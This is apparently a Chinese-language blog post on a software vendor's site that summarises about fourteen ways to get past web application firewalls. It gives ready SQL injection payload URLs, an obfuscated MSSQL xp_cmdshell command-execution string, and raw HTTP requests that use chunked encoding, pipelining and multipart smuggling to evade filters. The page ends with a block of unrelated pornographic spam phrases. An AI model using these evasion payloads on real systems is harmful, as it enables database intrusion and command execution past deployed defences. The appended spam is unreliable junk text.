LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發文檔 其他文檔  
 
網站管理員

滲透攻防安全防范之WAF繞過方法總結

admin
2023年10月30日 10:59 本文熱度 801

介紹:  

WAF(Web應用防火墻,Web Application Firewall的簡稱)是通過執行一系列針對HTTP/HTTPS的安全策略來專門為Web應用提供保護的產品。WAF可以發現和攔截各類Web層面的攻擊,記錄攻擊日志,實時預警提醒,在Web應用本身存在缺陷的情況下保障其安全。但是,WAF不是萬能的、完美的、無懈可擊的,在種種原因下,它們也會有各自的缺陷,不可以盲目相信WAF而不注重自身的安全。

waf分類:

云waf

硬件waf

軟件waf

網站內置waf


1.雙寫注入繞過

and雙寫為anandd

2.大小寫繞過


3.臟數據繞過

即傳入一段長數據使waf失效,從而實現繞過waf。某些waf處理POST的數據時,只會檢測開頭的8K,后面選擇全部放過。
例如,當發現某網站存在一個反序列化漏洞時,但是無回顯,被waf攔截了
利用臟數據插入5000x字符,可以成功繞過

4.復參數繞過(&id=

例如一個請求
GET /pen/news.php?id=1 union select user,password from mysql.user
可以修改為
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以這樣繞,測試最新版WAF能繞過部分語句。

5.高并發繞過

對請求進行并發,攻擊請求會被負載均衡調度到不同節點,導致某些請求繞過了waf的攔截
 

6.特殊字符替換空格

用一些特殊字符代替空格,比如在mysql%0a是換行,可以代替空格,這個方法也可以部分繞過最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:
http://192.168.60.68/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
http://192.168.60.68/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2
特殊字符有:mysql%0a/**/可以繞過最新版本WAF     sqlerver/**/
/*|%23--%23|*/
 
/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
這條語句不行,看一下防護日志,是因為把uaer函數加入黑名單啦。替換user即可。
 

7.使用其他變量或者命令對注入語句進行替換

COMMAND | WHAT TO USE INSTEAD
version()|@@version 
concat() | concat_ws()
group_concat() | concat_ws()
= | like
1| MOD(8,7)
 

8.HTTP參數污染

 php 語言中 id=1&id=2 后面的值會自動覆蓋前面的值,不同的語言有不同的特性。可以利用這點繞過一 些 waf 的攔截。
 

9.特殊字符拼接(+

把特殊字符拼接起來繞過WAF的檢測,比如在Mysql中,可以利用注釋/**/來繞過,在mssql中,函數里面可以用+來拼接
如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改為:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')

10.數據格式混淆

利用數據格式解析缺陷,存在兩種提交表單數據的請求類型
application/x-www-form-urlencoded
multipart/form-data 支持key-Value方式
 
可以修改提交格式
 
這兩種方式提交數據的效果是一樣的。
當然,除了這種方式外一些其他方式也可能繞過waf,例如將傳入json數據,將其修改為HTTP請求,或者修改content-type等方式(當然是在應用能夠正常解析的前提下)

11.編碼繞過

對請求數據進行編碼,例如url編碼,Unicode編碼等,如果waf對數據不能有效解碼,而應用后端能夠正常解碼,就可以繞過waf
例如最常見的url編碼,對數據進行二次url編碼,waf進行一次解碼并不能解析到有效的數據,而后端在進行解碼時傳入的為有效的惡意數據。
 
id=1 and 1=1 寫為 id=1/*!and*/1=1
 

12.利用WAF本身的功能繞過

"*"替換為空
例:uni*on+sel*ect+1,2,3,4....
假如發現WAF會把"*"替換為空,那么就可以利用這一特性來進行繞過‍‍http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法-15+(union)+(select).-15+(union+select)+-15+(UnI)(oN)+(SeL)(ecT)+.-15+union (select 1,2,3,4)

13.利用http協議繞過waf

分塊傳輸繞過waf
先在數據包中添加Transfer-Encoding: chunked
數字代表下一列字符所占位數,最后需要用0獨占一行表示結束,結尾需要兩個回車
在頭部加入 Transfer-Encoding: chunked 之后,就代表這個報文采用了分塊編碼。這時,post請求報文中的數據部分需要改為用一系列分塊來傳輸。每個分塊包含十六進制的長度值和數據,長度值獨占一行,長度不包括它結尾的,也不包括分塊數據結尾的,且最后需要用0獨占一行表示結束。
注意:分塊編碼傳輸需要將關鍵字and,or,select ,union等關鍵字拆開編碼,不然仍然會被waf攔截。編碼過程中長度需包括空格的長度。最后用0表示編碼結束,并在0后空兩行表示數據包結束,不然點擊提交按鈕后會看到一直處于waiting狀態。
例如:
………………
Connection: close
Upgrade-Insecure-Requests: I
ontent-Type: application/x-www-form-urlencoded
Content-Length: 50
 
畸形包繞過(pipline繞過)
原理:
http協議是由tcp協議封裝而來,當瀏覽器發起一個http請求時,瀏覽器先和服務器建立起連接tcp連接,然后發送http數據包(即用burpsuite截獲的數據),其中包含了一個Connection字段,一般值為closeapache等容器根據這個字段決定是保持該tcp連接或是斷開。當發送的內容太大,超過一個http包容量,需要分多次發送時,值會變成keep-alive,即本次發起的http請求所建立的tcp連接不斷開,直到所發送內容結束Connectionclose為止。
l先關閉burpsuite長度更新,為get請求,先使用bpmethod轉換為POST請求
lget請求中空格使用%20代替,Connection改為keep-alive
點擊burpRepeater,在下拉選項中取消update Content-Length選中。
例如:
POST /sqlinject.php Http/1.0
Host:127001
User-Agent: Mozilla/5.0(Windows NT 10.0: WOW64; rv: 65.0) Gecko/20100101
Firefox/65.0
Accept: text/htmL, application/xhtml+xml, application/xml; q=0.9, image/webp. */ q=0.8
Accept-Language: en-US,en:q=0.5
Referer:http://127.0.0.1/sqlinjectphp?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Connection:keep-alive
Upgrade-Insecure-Requests: 1
id=1post/sqlinjeCt.php Http/1.0
Host:127.00.1
User-Agent: Mozilla/5.0 (Windows NT 10.0: WOw64: rv: 65.0) Gecko/2010010
Firefox/65.0
Accept: text/htmL application/xhtml+xmL application/xml q=0.9, image/webp. * q=0.8
Accept-Language: en-US, en, q=0.5
Referer:http://127.0.0.1/sqlinjectphp?id=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
Connection: close
pgrade-Insecure-Requests: 1
d=l and 1=1
然后你會收到兩個返回包,不過這種方法有可能被waf給攔截
 
協議覆蓋
原理:
HTTP頭里的Content-Type一般有application/x-www-form-urlencodedmultipart/form-datatext/plain三種,其中multipart/form-data表示數據被編碼為一條消息,頁上的每個控件對應消息中的一個部分。所以,當waf沒有規則匹配該協議傳輸的數據時可被繞過。
將頭部Content-Type改為multipart/form-data; boundary=69 然后設置分割符內的Content-Dispositionname為要傳參數的名稱。數據部分則放在分割結束符上一行。由于是正常數據提交,數據是能被apache容器正確解析的,嘗試1 and 1=1也會被某狗waf攔截,但如果其他waf沒有規則攔截這種方式提交的數據包,那么同樣能繞過。
POST /sQlinJect php Http/1.0
User-Agent: Mozilla/5.0 (Windows NT 10.0: WOW64; rv 650)Gecko /20100101 Firefox/65.0
Accept: text/htmL, application/xhtml+xmL, application/xmL: q=0.9, image/webp, */* q=0.8
Accept-Language: en-US, en: q=0.5
Referer:http://127.0.0.1/sqlinject.php?id
Content-Type: multipart/form-data; boundary=69
Content-Length: 60
Connection close
Upgrade-Insecure-Requests:1
--69
Content-Disposition: form-data; name="id"
1
--69--

14.請求方式轉換

過濾了get但是沒有過濾postcookiewaf默認是關閉的
 
waf 在對危險字符進行檢測的時候,分別為 post 請求和 get 或者其它的請求方式設定了不同的匹配規則,請求被攔截,變 換請求方式有幾率能繞過檢測
例如:
 
或者修改為其它允許的方式,例如options, head等提交方式。


該文章在 2023/10/30 10:59:24 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業的專業生產管理軟件系統,系統成熟度和易用性得到了國內大量中小企業的青睞。
點晴PMS碼頭管理系統主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業務管理,結合碼頭的業務特點,圍繞調度、堆場作業而開發的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業的高效ERP管理信息系統。
點晴WMS倉儲管理系統提供了貨物產品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產管理,WMS管理系統,標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協同辦公管理系統。
Copyright 2010-2025 ClickSun All Rights Reserved

黄频国产免费高清视频,久久不卡精品中文字幕一区,激情五月天AV电影在线观看,欧美国产韩国日本一区二区
亚洲人成日韩中文字幕不 | 一本色道久久综合亚洲精品小说 | 亚洲乱码中文字幕在线2021 | 亚洲资源站中文字幕 | 伊人依成久久人综合网 | 亚洲a级在线免费 |